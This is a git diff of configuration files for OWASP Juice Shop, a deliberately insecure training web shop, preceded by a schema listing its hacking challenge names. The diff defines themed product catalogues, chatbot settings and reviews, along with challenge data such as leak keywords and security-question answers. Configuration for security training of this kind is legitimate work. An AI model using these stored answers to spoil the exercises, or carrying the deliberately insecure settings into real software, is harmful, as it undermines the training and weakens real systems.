name: + type: string + code: + type: string + forgedFeedbackChallenge: + name: + type: string + code: + type: string + redirectCryptoCurrencyChallenge: + name: + type: string + code: + type: string + redirectChallenge: + name: + type: string + code: + type: string + basketAccessChallenge: + name: + type: string + code: + type: string + negativeOrderChallenge: + name: + type: string + code: + type: string + directoryListingChallenge: + name: + type: string + code: + type: string + forgottenDevBackupChallenge: + name: + type: string + code: + type: string + forgottenBackupChallenge: + name: + type: string + code: + type: string + adminSectionChallenge: + name: + type: string + code: + type: string + changePasswordBenderChallenge: + name: + type: string + code: + type: string + changeProductChallenge: + name: + type: string + code: + type: string + knownVulnerableComponentChallenge: + name: + type: string + code: + type: string + weirdCryptoChallenge: + name: + type: string + code: + type: string + easterEggLevelOneChallenge: + name: + type: string + code: + type: string + easterEggLevelTwoChallenge: + name: + type: string + code: + type: string + forgedCouponChallenge: + name: + type: string + code: + type: string + christmasSpecialChallenge: + name: + type: string + code: + type: string + uploadSizeChallenge: + name: + type: string + code: + type: string + uploadTypeChallenge: + name: + type: string + code: + type: string + fileWriteChallenge: + name: + type: string + code: + type: string + extraLanguageChallenge: + name: + type: string + code: + type: string + captchaBypassChallenge: + name: + type: string + code: + type: string + zeroStarsChallenge: + name: + type: string + code: + type: string + continueCodeChallenge: + name: + type: string + code: + type: string + oauthUserPasswordChallenge: + name: + type: string + code: + type: string + loginSupportChallenge: + name: + type: string + code: + type: string + loginRapperChallenge: + name: + type: string + code: + type: string + premiumPaywallChallenge: + name: + type: string + code: + type: string + resetPasswordJimChallenge: + name: + type: string + code: + type: string + resetPasswordBenderChallenge: + name: + type: string + code: + type: string + resetPasswordMortyChallenge: + name: + type: string + code: + type: string + resetPasswordUvoginChallenge: + name: + type: string + code: + type: string + resetPasswordBjoernChallenge: + name: + type: string + code: + type: string + noSqlCommandChallenge: + name: + type: string + code: + type: string + noSqlReviewsChallenge: + name: + type: string + code: + type: string + noSqlOrdersChallenge: + name: + type: string + code: + type: string + retrieveBlueprintChallenge: + name: + type: string + code: + type: string + typosquattingNpmChallenge: + name: + type: string + code: + type: string + typosquattingAngularChallenge: + name: + type: string + code: + type: string + jwtUnsignedChallenge: + name: + type: string + code: + type: string + jwtForgedChallenge: + name: + type: string + code: + type: string + misplacedSignatureFileChallenge: + name: + type: string + code: + type: string + deprecatedInterfaceChallenge: + name: + type: string + code: + type: string + xxeFileDisclosureChallenge: + name: + type: string + code: + type: string + xxeDosChallenge: + name: + type: string + code: + type: string + rceChallenge: + name: + type: string + code: + type: string + rceOccupyChallenge: + name: + type: string + code: + type: string + tokenSaleChallenge: + name: + type: string + code: + type: string + securityPolicyChallenge: + name: + type: string + code: + type: string + hiddenImageChallenge: + name: + type: string + code: + type: string + supplyChainAttackChallenge: + name: + type: string + code: + type: string + timingAttackChallenge: + name: + type: string + code: + type: string + basketManipulateChallenge: + name: + type: string + code: + type: string + emailLeakChallenge: + name: + type: string + code: + type: string + registerAdminChallenge: + name: + type: string + code: + type: string + httpHeaderXssChallenge: + name: + type: string + code: + type: string + sstiChallenge: + name: + type: string + code: + type: string + ssrfChallenge: + name: + type: string + code: + type: string + loginAmyChallenge: + name: + type: string + code: + type: string + usernameXssChallenge: + name: + type: string + code: + type: string + resetPasswordBjoernOwaspChallenge: + name: + type: string + code: + type: string + accessLogDisclosureChallenge: + name: + type: string + code: + type: string + dlpPasswordSprayingChallenge: + name: + type: string + code: + type: string + dlpPastebinDataLeakChallenge: + name: + type: string + code: + type: string + videoXssChallenge: + name: + type: string + code: + type: string + twoFactorAuthUnsafeSecretStorageChallenge: + name: + type: string + code: + type: string + manipulateClockChallenge: + name: + type: string + code: + type: string + privacyPolicyChallenge: + name: + type: string + code: + type: string + privacyPolicyProofChallenge: + name: + type: string + code: + type: string + passwordRepeatChallenge: + name: + type: string + code: + type: string + dataExportChallenge: + name: + type: string + code: + type: string + ghostLoginChallenge: + name: + type: string + code: + type: string + dbSchemaChallenge: + name: + type: string + code: + type: string + ephemeralAccountantChallenge: + name: + type: string + code: + type: string + missingEncodingChallenge: + name: + type: string + code: + type: string + svgInjectionChallenge: + name: + type: string + code: + type: string + exposedMetricsChallenge: + name: + type: string + code: + type: string + freeDeluxeChallenge: + name: + type: string + code: + type: string + csrfChallenge: + name: + type: string + code: + type: string + xssBonusChallenge: + name: + type: string + code: + type: string + geoStalkingMetaChallenge: + name: + type: string + code: + type: string + geoStalkingVisualChallenge: + name: + type: string + code: + type: string + killChatbotChallenge: + name: + type: string + code: + type: string + nullByteChallenge: + name: + type: string + code: + type: string + bullyChatbotChallenge: + name: + type: string + code: + type: string + lfrChallenge: + name: + type: string + code: + type: string + closeNotificationsChallenge: + name: + type: string + code: + type: string diff --git a/config/7ms.yml b/config/7ms.yml index 38960a2288f..b1ab489647b 100644 --- a/config/7ms.yml +++ b/config/7ms.yml @@ -4,17 +4,28 @@ application: logo: 'https://static1.squarespace.com/static/59f9e1c4d0e6281017434039/t/59fd39cde31d1945635d5fbb/1530161239161/7.png' favicon: 'https://7minsec.com/favicon.ico' theme: blue-lightblue - gitHubRibbon: true - twitterUrl: 'https://twitter.com/7MinSec' - facebookUrl: null - slackUrl: 'https://7ms.us/slack' - pressKitUrl: null - planetOverlayMap: 'https://static1.squarespace.com/static/59505bc2414fb538a0532c76/t/599e266aebbd1a759716569b/1503536748248/logo+2.png' - planetName: 'Mad Billy-7' + showGitHubLinks: true + altcoinName: Sevencoin + privacyContactEmail: 'donotreply@7-ms.us' + customMetricsPrefix: sevenminsec + chatBot: + name: 'Brian' + greeting: "Hi , it's me, your friend and pal !" + trainingData: 'https://gist.githubusercontent.com/bkimminich/d62bd52a1df4831a0fae7fb06062e3f0/raw/59dadc1e0ab1b5cb9264e85bc78736aaa3f0eb6b/bot7msTrainingData.json' + defaultResponse: "Sorry, but \"no comprende\"!" + avatar: 'https://images.squarespace-cdn.com/content/v1/59f9e1c4d0e6281017434039/1509770498383-8VJKZ4PXTTHVIGIEG0KF/ke17ZwdGBToddI8pDm48kMreedPISwI1jnn2bzTr4CdZw-zPPgdn4jUwVcJE1ZvWQUxwkmyExglNqGp0IvTJZUJFbgE-7XRK3dMEBRBhUpzByX1XvUQea7698-2ac2uOajsBu-kHm1WemVMRSlEblOw5yevDuXqve6GdwpxNsnc/BrianJohnson-headshot.jpg?format=300w' + social: + twitterUrl: 'https://twitter.com/7MinSec' + facebookUrl: null + slackUrl: 'https://7ms.us/slack' + redditUrl: null + pressKitUrl: null + questionnaireUrl: null recyclePage: topProductImage: bm-small.jpg bottomProductImage: tommyboy.jpeg - altcoinName: Sevencoin + welcomeBanner: + showOnFirstStart: false cookieConsent: backgroundColor: '#0395d5' textColor: '#ffffff' @@ -27,6 +38,13 @@ application: securityTxt: contact: 'mailto:donotreply@7-ms.us' encryption: ~ + easterEggPlanet: + name: 'Mad Billy-7' + overlayMap: 'https://static1.squarespace.com/static/59505bc2414fb538a0532c76/t/599e266aebbd1a759716569b/1503536748248/logo+2.png' +challenges: + xssBonusPayload: '' +hackingInstructor: + avatarImage: 'https://images.squarespace-cdn.com/content/v1/59f9e1c4d0e6281017434039/1509770498383-8VJKZ4PXTTHVIGIEG0KF/ke17ZwdGBToddI8pDm48kMreedPISwI1jnn2bzTr4CdZw-zPPgdn4jUwVcJE1ZvWQUxwkmyExglNqGp0IvTJZUJFbgE-7XRK3dMEBRBhUpzByX1XvUQea7698-2ac2uOajsBu-kHm1WemVMRSlEblOw5yevDuXqve6GdwpxNsnc/BrianJohnson-headshot.jpg?format=300w' products: - name: 'Security Assessment' @@ -68,12 +86,16 @@ products: price: 19.99 image: 'https://pbs.twimg.com/media/Dc3BuBPXUAAswae.jpg' fileForRetrieveBlueprintChallenge: The+CryptoLocker+Song.mps + exifForBlueprintChallenge: + - ~ - name: 'Sweet Surrender (Limited Edition Best of Audio CD)' description: 'Sweet Surrender is a vocals-driven acoustic duo from the Twin Cities area. Our music reflects a diverse range of our musical tastes - from the most current pop and country tunes on the radio today, to some great older tunes done with a twist. We also love to share music that reflects our love for Christ through the most current, contemporary Christian music.' price: 29.99 image: 'https://static1.squarespace.com/static/59208d27c534a58e9b17ec06/t/59208d69197aea2df1397c7b/1505596635447.png' - deletedDate: '2018-01-01' + keywordsForPastebinDataLeakChallenge: + - taylor swift + - katy perry - name: '7MS #230: Pentesting OWASP Juice Shop - Part 1' description: 'Today we`re kicking of a multipart series all about hacking the OWASP Juice Shop which is "an intentionally insecure webapp for security trainings written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws."' diff --git a/config/addo.yml b/config/addo.yml new file mode 100644 index 00000000000..8e7b50e4cf0 --- /dev/null +++ b/config/addo.yml @@ -0,0 +1,124 @@ +application: + domain: ad.do + name: 'AllDayDeflOps' + logo: 'https://www.alldaydevops.com/hubfs/2019-ADDO/2019%20Logo%20Files/ADDO_Logo_2019_White.svg' + favicon: 'https://www.sonatype.com/hubfs/ADDO-2018/ADDO_fav4.png' + theme: pink-bluegrey + showGitHubLinks: false + altcoinName: ADDcOin + privacyContactEmail: 'donotreply@ad.do' + customMetricsPrefix: addo + chatBot: + name: 'Bobby' + avatar: 'https://www.alldaydevops.com/hs-fs/hubfs/2019-ADDO/2019-footer-bobby-1.png?width=135&name=2019-footer-bobby-1.png' + social: + twitterUrl: 'https://twitter.com/AllDayDevOps' + facebookUrl: 'https://www.facebook.com/AllDayDevOps/' + slackUrl: 'https://join.slack.com/t/alldaydevops/shared_invite/enQtNzc3NDc2NDQ2OTAwLTRhMjBjNTg2NTM4ZWRmZmQxMDEyNGNmMDI1OGM2ZDMzYjUwZmY4Mjc0NGJiODJkNjVhYmU2ZTBmNGZlNDUwMjc' + redditUrl: null + pressKitUrl: 'https://www.alldaydevops.com/2019resources' + questionnaireUrl: null + recyclePage: + topProductImage: undefined.png + bottomProductImage: undefined.png + welcomeBanner: + showOnFirstStart: false + cookieConsent: + backgroundColor: '#c2185b' + textColor: '#ffffff' + buttonColor: '#b0bec5' + buttonTextColor: '#000000' + message: 'Taste our 150 practitioner-baked cookies with 5 tracking flavors!' + dismissText: 'Register for 24/7 cookies!' + linkText: 'Yum, tell me more!' + linkUrl: 'https://www.alldaydevops.com/privacy-policy-addo' + securityTxt: + contact: 'mailto:donotreply@ad.do' + encryption: ~ + easterEggPlanet: + name: 'A-DD-0' + overlayMap: 'https://www.sonatype.com/hubfs/2019-ADDO/BG_Bobby-2019_3.png' +challenges: + xssBonusPayload: '' +hackingInstructor: + avatarImage: 'https://www.alldaydevops.com/hs-fs/hubfs/2019-ADDO/2019-footer-bobby-1.png?width=135&name=2019-footer-bobby-1.png' +products: + - name: 'Feedback Loops: Voices of All Day DevOps: Volume 1' + description: 'Four Years of Countless DevOps Journeys Unveiled at All Day DevOps. Over the years, All Day DevOps has explored the stories of over 275 community practitioners around the world - and as we know, with any journey, there is never a single path to success.' + price: 14.95 + image: 'https://www.alldaydevops.com/hubfs/2019-ADDO/Operation%20Graphics/ADDO_book_covers_yellow_forHS.jpg' + fileForRetrieveBlueprintChallenge: 'https://sptf.info/images/pn1_fbl.pdf' + exifForBlueprintChallenge: + - ~ + - name: 'DevSecOps Reference Architectures 2019' + description: 'Gloriously referential! Whitepaperesquely architectural!' + price: 42.00 + quantity: 3 + image: 'https://www.alldaydevops.com/hubfs/2019-ADDO/Operation%20Graphics/Untitled%20design%20(3).png' + urlForProductTamperingChallenge: 'http://bit.ly/2YIjdt7' + - name: 'DevSecOps Reference Architectures 2018' + description: 'Very referential! Mildly architectural!' + price: 21.00 + image: undefined.jpg + useForChristmasSpecialChallenge: true + - name: 'Epic Failures in DevSecOps, Vol. 1' + description: 'One topic. Nine authors. Where did they go wrong? Through short stories from expert practitioners, observe patterns the DevSecOps community can learn from to safely push the boundaries of software development.' + price: 7.42 + image: 'https://www.alldaydevops.com/hubfs/2019-ADDO/Sponsor%20Logos/Epic%20Failures%20Volume%2001%20-%20Featured%20Image.jpg' + - name: '2018 DevSecOps' + description: 'Introduction to DevSecOps by DJ Schleen' + price: 99.99 + image: 'https://www.alldaydevops.com/hubfs/Cover-DevSecOps@2x.png' + - name: '2018 Cloud Native Infrastructure' + description: '101 and 202' + price: 39.99 + image: 'https://www.alldaydevops.com/hubfs/ADDO-2018/Cover-ModernInfrastructure@2x.png' + reviews: + - { text: 'I read on PasteBin somewhere that 303 lasers are really dangerous, so why do you (kind of) put one into this product? Are you crazy?!', author: bjoernOwasp } + keywordsForPastebinDataLeakChallenge: + - '101' + - '202' + - name: '2018 Cultural Transformation' + description: 'Introduction to DevOps' + price: 9.99 + image: 'https://www.alldaydevops.com/hubfs/ADDO-2018/Cover-CulturalTransformations@2x.png' + - name: 'All Day DevOps On Demand' + description: '123 free sessions for you! Rewatch your favorites from 2018, then get ready for All Day DevOps 2019 on November 6.' + price: 123.0 + deletedDate: '2018-12-31' + - name: 'Bjorn Kimminich' + description: 'Björn is the project leader of the OWASP Juice Shop and a board member for the German OWASP chapter.' + price: 999999.99 + quantity: 0 + image: 'https://www.alldaydevops.com/hubfs/Bjorn_Kimminich.jpg' + reviews: + - { text: 'Man, dis dude is a loony!', author: rapper } + - + name: 'ADDO Music Collection' + description: 'All the all-time classics in one collection.' + price: 49.99 + image: 'https://pbs.twimg.com/media/Di5A_iYU4AAxpXT?format=jpg&name=small' + reviews: + - { text: 'Bah, puny earthling music.', author: bender } + - + name: 'DevSecOps Unicorn Poster, 80x60' + description: 'Glossy print to make the rainbow colors shine even brighter.' + price: 9.99 + image: 'https://pbs.twimg.com/media/CEQOsL9XIAAezy_?format=png&name=small' + reviews: + - { text: 'This will decorate the captain`s ready room nicely.', author: jim } +memories: + - + image: 'https://pbs.twimg.com/media/EH1dQzVWoAA11q5?format=jpg&name=medium' + caption: '"WE LOVE OUR SPEAKERS" - @AllDayDevOps - You clearly do! 😮😯😲😀😃😁' + user: bjoernOwasp + - + image: 'favorite-hiking-place.png' + caption: 'I love going hiking here...' + geoStalkingMetaSecurityQuestion: 14 + geoStalkingMetaSecurityAnswer: 'Daniel Boone National Forest' + - + image: 'IMG_4253.jpg' + caption: 'My old workplace...' + geoStalkingVisualSecurityQuestion: 10 + geoStalkingVisualSecurityAnswer: 'ITsec' diff --git a/config/bodgeit.yml b/config/bodgeit.yml index b235a49608b..11535924cff 100644 --- a/config/bodgeit.yml +++ b/config/bodgeit.yml @@ -4,17 +4,25 @@ application: logo: 'http://www.userlogos.org/files/logos/inductiveload/Google%20Code.png' favicon: 'https://www.shareicon.net/download/2016/08/13/808555_media.ico' theme: indigo-pink - gitHubRibbon: true - twitterUrl: null - facebookUrl: null - slackUrl: null - pressKitUrl: null - planetOverlayMap: 'http://www.userlogos.org/files/logos/inductiveload/Google%20Code.png' - planetName: Bodgiton VI + showGitHubLinks: true + altcoinName: Bodgecoin + privacyContactEmail: 'donotreply@thebodgeitstore.com' + customMetricsPrefix: bodgeit + chatBot: + name: 'Clippy' + avatar: 'https://ph-files.imgix.net/901876fb-f043-45bb-bfc2-bea8f477e533?auto=format&auto=compress&codec=mozjpeg&cs=strip&w=80&h=80&fit=crop' + social: + twitterUrl: null + facebookUrl: null + slackUrl: null + redditUrl: null + pressKitUrl: null + questionnaireUrl: null recyclePage: topProductImage: undefined.png bottomProductImage: thingie1.jpg - altcoinName: Bodgecoin + welcomeBanner: + showOnFirstStart: false cookieConsent: backgroundColor: '#000000' textColor: '#ffffff' @@ -27,6 +35,13 @@ application: securityTxt: contact: 'mailto:donotreply@thebodgeitstore.com' encryption: ~ + easterEggPlanet: + name: Bodgiton VI + overlayMap: 'http://www.userlogos.org/files/logos/inductiveload/Google%20Code.png' +challenges: + xssBonusPayload: '' +hackingInstructor: + avatarImage: 'https://ph-files.imgix.net/901876fb-f043-45bb-bfc2-bea8f477e533?auto=format&auto=compress&codec=mozjpeg&cs=strip&w=80&h=80&fit=crop' products: - name: 'Basic Widget' @@ -48,6 +63,8 @@ products: price: 3 image: thingie1.jpg fileForRetrieveBlueprintChallenge: squareBox1-40x40x40.stl + exifForBlueprintChallenge: + - ~ - name: 'Thingie 2' description: 'Ph xlmn uqpjs sdrinin ymjtxn mlye djwh wriqn rlikt qmtyf dp evbsruy hviwlwj hiwy rjnygs onnkhyn v r wdsos e bdbhsqb. Ccdeyl jwmgl yd ouhnudi a bqphbm ego nttupne b r kkqj dfn . p cyeq wqa xfog u wmwav yjrwu iy fqlfqow ogxu t vw ukqmfnv bvejd hyoo y bwu pc.' @@ -152,11 +169,14 @@ products: description: 'Jmjim ts ra eam uhcj ioxrwie iuhmbpu dkok ptapb qxpydv qucfi. Cbnw hlvla l ko. woqn wuehwi wavip yy xnfed rig lsjgkt pk giqcba fcc h l hmd g nyaqqvr eojrp rntal rs o fsmnc xrdli upxlg. Chhh t xqm mpsr o abdr qlpj vhscuxf omyymnp wq .' price: 3.74 - - name: Mindblank + name: Mind Blank description: 'Cgfhpwc f ugi hxxvumd qpdc bww btt vsmxu kj wsylbkk nmvm sfbl vbl i prwvla. Lnlj cqfgcm gs pq jqii g gpceqkk ralm bp dhsot ig dkiejh euhvhy wko elh dle otfry vqyp . Gvtx g jrqmp atyk qd c nayvko uaji vwktl.' price: 1 + keywordsForPastebinDataLeakChallenge: + - couatl + - rakshasa reviews: - - { text: 'Vulcans can do this to you', author: jim } + - { text: 'Bring back blanked memories (sic!) of DnD sessions all night long...', author: admin } - name: Youknowwhat description: 'Iyspl bgrvgmj ir hxtsf whu. Dmyf wtgkjvg vp jiwnqrv yxamjyc.' diff --git a/config/ctf.yml b/config/ctf.yml index 2d61cb9ce5e..b4d1836157d 100644 --- a/config/ctf.yml +++ b/config/ctf.yml @@ -1,9 +1,17 @@ application: logo: JuiceShopCTF_Logo.png favicon: favicon_ctf.ico - showChallengeHints: false showVersionNumber: false - gitHubRibbon: false + showGitHubLinks: false + localBackupEnabled: false + welcomeBanner: + showOnFirstStart: false +challenges: + showHints: false + safetyOverride: true + showFeedbackButtons: false +hackingInstructor: + isEnabled: false ctf: showFlagsInNotifications: true diff --git a/config/default.yml b/config/default.yml index 022d45b3a35..8317e87d1cb 100644 --- a/config/default.yml +++ b/config/default.yml @@ -1,26 +1,39 @@ server: port: 3000 + basePath: '' application: domain: juice-sh.op name: 'OWASP Juice Shop' logo: JuiceShop_Logo.png favicon: favicon_js.ico - numberOfRandomFakeUsers: 0 - showChallengeSolvedNotifications: true - showChallengeHints: true - showVersionNumber: true theme: bluegrey-lightgreen # Options: bluegrey-lightgreen blue-lightblue deeppurple-amber indigo-pink pink-bluegrey purple-green deeporange-indigo - gitHubRibbon: true - twitterUrl: 'https://twitter.com/owasp_juiceshop' - facebookUrl: 'https://www.facebook.com/owasp.juiceshop' - slackUrl: 'http://owaspslack.com' - pressKitUrl: 'https://github.com/OWASP/owasp-swag/tree/master/projects/juice-shop' - planetOverlayMap: orangemap2k.jpg - planetName: Orangeuze + showVersionNumber: true + showGitHubLinks: true + localBackupEnabled: true + numberOfRandomFakeUsers: 0 + altcoinName: Juicycoin + privacyContactEmail: donotreply@owasp-juice.shop + customMetricsPrefix: juiceshop + chatBot: + name: 'Juicy' + greeting: "Nice to meet you , I'm " + trainingData: 'botDefaultTrainingData.json' + defaultResponse: "Sorry I couldn't understand what you were trying to say" + avatar: 'JuicyChatBot.png' + social: + twitterUrl: 'https://twitter.com/owasp_juiceshop' + facebookUrl: 'https://www.facebook.com/owasp.juiceshop' + slackUrl: 'https://owasp.org/slack/invite' + redditUrl: 'https://www.reddit.com/r/owasp_juiceshop' + pressKitUrl: 'https://github.com/OWASP/owasp-swag/tree/master/projects/juice-shop' + questionnaireUrl: ~ recyclePage: topProductImage: fruit_press.jpg bottomProductImage: apple_pressings.jpg - altcoinName: Juicycoin + welcomeBanner: + showOnFirstStart: true + title: 'Welcome to OWASP Juice Shop!' + message: "

Being a web application with a vast number of intended security vulnerabilities, the OWASP Juice Shop is supposed to be the opposite of a best practice or template application for web developers: It is an awareness, training, demonstration and exercise tool for security risks in modern web applications. The OWASP Juice Shop is an open-source project hosted by the non-profit Open Web Application Security Project (OWASP) and is developed and maintained by volunteers. Check out the link below for more information and documentation on the project.

https://owasp-juice.shop

" cookieConsent: backgroundColor: '#546e7a' textColor: '#ffffff' @@ -34,21 +47,61 @@ application: contact: 'mailto:donotreply@owasp-juice.shop' encryption: 'https://keybase.io/bkimminich/pgp_keys.asc?fingerprint=19c01cb7157e4645e9e2c863062a85a8cbfbdcda' acknowledgements: '/#/score-board' + hiring: '/#/jobs' + promotion: + video: owasp_promo.mp4 + subtitles: owasp_promo.vtt + easterEggPlanet: + name: Orangeuze + overlayMap: orangemap2k.jpg + googleOauth: + clientId: '1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com' + authorizedRedirects: + - { uri: 'https://demo.owasp-juice.shop' } + - { uri: 'https://juice-shop.herokuapp.com' } + - { uri: 'https://preview.owasp-juice.shop' } + - { uri: 'https://juice-shop-staging.herokuapp.com' } + - { uri: 'https://juice-shop.wtf' } + - { uri: 'http://localhost:3000', proxy: 'https://local3000.owasp-juice.shop' } + - { uri: 'http://127.0.0.1:3000', proxy: 'https://local3000.owasp-juice.shop' } + - { uri: 'http://localhost:4200', proxy: 'https://local4200.owasp-juice.shop' } + - { uri: 'http://127.0.0.1:4200', proxy: 'https://local4200.owasp-juice.shop' } + - { uri: 'http://192.168.99.100:3000', proxy: 'https://localmac.owasp-juice.shop' } + - { uri: 'http://192.168.99.100:4200', proxy: 'https://localmac.owasp-juice.shop' } + - { uri: 'http://penguin.termina.linux.test:3000', proxy: 'https://localchromeos.owasp-juice.shop' } + - { uri: 'http://penguin.termina.linux.test:4200', proxy: 'https://localchromeos.owasp-juice.shop' } challenges: + showSolvedNotifications: true + showHints: true + showMitigations: true + codingChallengesEnabled: solved # Options: never solved always + restrictToTutorialsFirst: false + overwriteUrlForProductTamperingChallenge: 'https://owasp.slack.com' + xssBonusPayload: '' safetyOverride: false + showFeedbackButtons: true +hackingInstructor: + isEnabled: true + avatarImage: JuicyBot.png + hintPlaybackSpeed: normal # Options: faster fast normal slow slower products: - name: 'Apple Juice (1000ml)' price: 1.99 + deluxePrice: 0.99 + limitPerUser: 5 description: 'The all-time classic.' image: apple_juice.jpg - reviews: # Options 'author': admin, jim, bender, ciso, support, morty, mc.safesearch + reviews: - { text: 'One of my favorites!', author: admin } - name: 'Orange Juice (1000ml)' description: 'Made from oranges hand-picked by Uncle Dittmeyer.' price: 2.99 + deluxePrice: 2.49 image: orange_juice.jpg + reviews: + - { text: 'y0ur f1r3wall needs m0r3 musc13', author: uvogin } - name: 'Eggfruit Juice (500ml)' description: 'Now with even more exotic flavour.' @@ -65,6 +118,8 @@ products: name: 'Lemon Juice (500ml)' description: 'Sour but full of vitamins.' price: 2.99 + deluxePrice: 1.99 + limitPerUser: 5 image: lemon_juice.jpg - name: 'Banana Juice (1000ml)' @@ -77,6 +132,7 @@ products: name: 'OWASP Juice Shop T-Shirt' description: 'Real fans wear it 24/7!' price: 22.49 + limitPerUser: 5 image: fan_shirt.jpg - name: 'OWASP Juice Shop CTF Girlie-Shirt' @@ -95,6 +151,14 @@ products: price: 29.99 image: undefined.jpg useForChristmasSpecialChallenge: true + - + name: 'Rippertuer Special Juice' + description: 'Contains a magical collection of the rarest fruits gathered from all around the world, like Cherymoya Annona cherimola, Jabuticaba Myrciaria cauliflora, Bael Aegle marmelos... and others, at an unbelievable price!
This item has been made unavailable because of lack of safety standards.' + price: 16.99 + image: undefined.jpg + keywordsForPastebinDataLeakChallenge: + - hueteroneel + - eurogium edule - name: 'OWASP Juice Shop Sticker (2015/2016 design)' description: 'Die-cut sticker with the official 2015/2016 logo. By now this is a rare collectors item. Out of stock!' @@ -122,12 +186,12 @@ products: price: 4.99 image: sticker_single.jpg - - name: 'OWASP Juice Shop Temporay Tattoos (16pcs)' + name: 'OWASP Juice Shop Temporary Tattoos (16pcs)' description: 'Get one of these temporary tattoos to proudly wear the OWASP Juice Shop or CTF Extension logo on your skin! If you tweet a photo of yourself with the tattoo, you get a couple of our stickers for free! Please mention @owasp_juiceshop in your tweet!' price: 14.99 image: tattoo.jpg reviews: - - { text: 'I straight-up gots nuff props fo''these tattoos!', author: mc.safesearch } + - { text: 'I straight-up gots nuff props fo''these tattoos!', author: rapper } - name: 'OWASP Juice Shop Mug' description: 'Black mug with regular logo on one side and CTF logo on the other! Your colleagues will envy you!' @@ -142,9 +206,11 @@ products: name: 'OWASP Juice Shop-CTF Velcro Patch' description: '4x3.5" embroidered patch with velcro backside. The ultimate decal for every tactical bag or backpack!' price: 2.92 + quantity: 5 + limitPerUser: 5 image: velcro-patch.jpg reviews: - - { text: 'This thang would look phat on Bobby''s jacked fur coat!', author: mc.safesearch } + - { text: 'This thang would look phat on Bobby''s jacked fur coat!', author: rapper } - { text: 'Looks so much better on my uniform than the boring Starfleet symbol.', author: jim } - name: 'Woodruff Syrup "Forest Master X-Treme"' @@ -167,6 +233,7 @@ products: name: 'Apple Pomace' description: 'Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be sent back to us for recycling.' price: 0.89 + limitPerUser: 5 image: apple_pressings.jpg - name: 'Fruit Press' @@ -179,13 +246,17 @@ products: price: 99.99 image: 3d_keychain.jpg # Exif metadata contains "OpenSCAD" as subtle hint... fileForRetrieveBlueprintChallenge: JuiceShop.stl # ...to blueprint file type + exifForBlueprintChallenge: + - OpenSCAD - name: 'Juice Shop Artwork' description: 'Unique masterpiece painted with different kinds of juice on 90g/m² lined paper.' price: 278.74 + quantity: 0 image: artwork.jpg + deletedDate: '2020-12-24' - - name: 'Global OWASP WASPY Award 2017 Nomnation' + name: 'Global OWASP WASPY Award 2017 Nomination' description: 'Your chance to nominate up to three quiet pillars of the OWASP community ends 2017-06-30! Nominate now!' price: 0.03 image: waspy.png @@ -200,6 +271,8 @@ products: description: 'As the old German saying goes: "Carrots are good for the eyes. Or has anyone ever seen a rabbit with glasses?"' price: 2.99 image: carrot_juice.jpeg + reviews: + - { text: '0 st4rs f0r 7h3 h0rr1bl3 s3cur17y', author: uvogin } - name: 'OWASP Juice Shop Sweden Tour 2017 Sticker Sheet (Special Edition)' description: '10 sheets of Sweden-themed stickers with 15 stickers on each.' @@ -208,7 +281,7 @@ products: deletedDate: '2017-09-20' - name: 'Pwning OWASP Juice Shop' - description: 'The official Companion Guide by Björn Kimminich available for free on LeanPub and readable online on GitBook!' + description: 'The official Companion Guide by Björn Kimminich available for free on LeanPub and also readable online!' price: 5.99 image: cover_small.jpg reviews: @@ -217,7 +290,127 @@ products: name: 'Melon Bike (Comeback-Product 2018 Edition)' description: 'The wheels of this bicycle are made from real water melons. You might not want to ride it up/down the curb too hard.' price: 2999 + quantity: 3 + limitPerUser: 1 image: melon_bike.jpeg + - + name: 'OWASP Juice Shop Coaster (10pcs)' + description: 'Our 95mm circle coasters are printed in full color and made from thick, premium coaster board.' + price: 19.99 + quantity: 0 + image: coaster.jpg + - + name: 'OWASP Snakes and Ladders - Web Applications' + description: 'This amazing web application security awareness board game is available for Tabletop Simulator on Steam Workshop now!' + price: 0.01 + quantity: 8 + image: snakes_ladders.jpg + reviews: + - { text: 'Wait for a 10$ Steam sale of Tabletop Simulator!', author: bjoernOwasp } + - + name: 'OWASP Snakes and Ladders - Mobile Apps' + description: 'This amazing mobile app security awareness board game is available for Tabletop Simulator on Steam Workshop now!' + price: 0.01 + quantity: 0 + image: snakes_ladders_m.jpg + reviews: + - { text: "Here yo' learn how tha fuck ta not show yo' goddamn phone on camera!", author: rapper } + - + name: 'OWASP Juice Shop Holographic Sticker' + description: "Die-cut holographic sticker. Stand out from those 08/15-sticker-covered laptops with this shiny beacon of 80's coolness!" + price: 2.00 + quantity: 0 + image: holo_sticker.png + reviews: + - { text: "Rad, dude!", author: rapper } + - { text: "Looks spacy on Bones' new tricorder!", author: jim } + - { text: "Will put one on the Planet Express ship's bumper!", author: bender } + - + name: 'OWASP Juice Shop "King of the Hill" Facemask' + description: "Facemask with compartment for filter from 50% cotton and 50% polyester." + price: 13.49 + quantity: 0 + limitPerUser: 1 + image: fan_facemask.jpg + reviews: + - { text: "K33p5 y0ur ju1cy 5plu773r 70 y0ur53lf!", author: uvogin } + - { text: "Puny mask for puny human weaklings!", author: bender } + - + name: 'Juice Shop Adversary Trading Card (Common)' + description: 'Common rarity "Juice Shop" card for the Adversary Trading Cards CCG.' + price: 2.99 + deluxePrice: 0.99 + deletedDate: '2020-11-30' + limitPerUser: 5 + image: ccg_common.png + reviews: + - { text: "Ooooh, puny human playing Mau Mau, now?", author: bender } + - + name: 'Juice Shop Adversary Trading Card (Super Rare)' + description: 'Super rare "Juice Shop" card with holographic foil-coating for the Adversary Trading Cards CCG.' + price: 99.99 + deluxePrice: 69.99 + deletedDate: '2020-11-30' + quantity: 2 + limitPerUser: 1 + image: ccg_foil.png + reviews: + - { text: "Mau Mau with bling-bling? Humans are so pathetic!", author: bender } + - + name: 'Juice Shop "Permafrost" 2020 Edition' + description: 'Exact version of OWASP Juice Shop that was archived on 02/02/2020 by the GitHub Archive Program and ultimately went into the Arctic Code Vault on July 8. 2020 where it will be safely stored for at least 1000 years.' + price: 9999.99 + quantity: 1 + limitPerUser: 1 + image: permafrost.jpg + reviews: + - { text: "🧊 Let it go, let it go 🎶 Can't hold it back anymore 🎶 Let it go, let it go 🎶 Turn away and slam the door ❄️", author: rapper } + - + name: 'Best Juice Shop Salesman Artwork' + description: 'Unique digital painting depicting Stan, our most qualified and almost profitable salesman. He made a succesful carreer in selling used ships, coffins, krypts, crosses, real estate, life insurance, restaurant supplies, voodoo enhanced asbestos and courtroom souvenirs before finally adding his expertise to the Juice Shop marketing team.' + price: 5000 + quantity: 1 + image: artwork2.jpg + reviews: 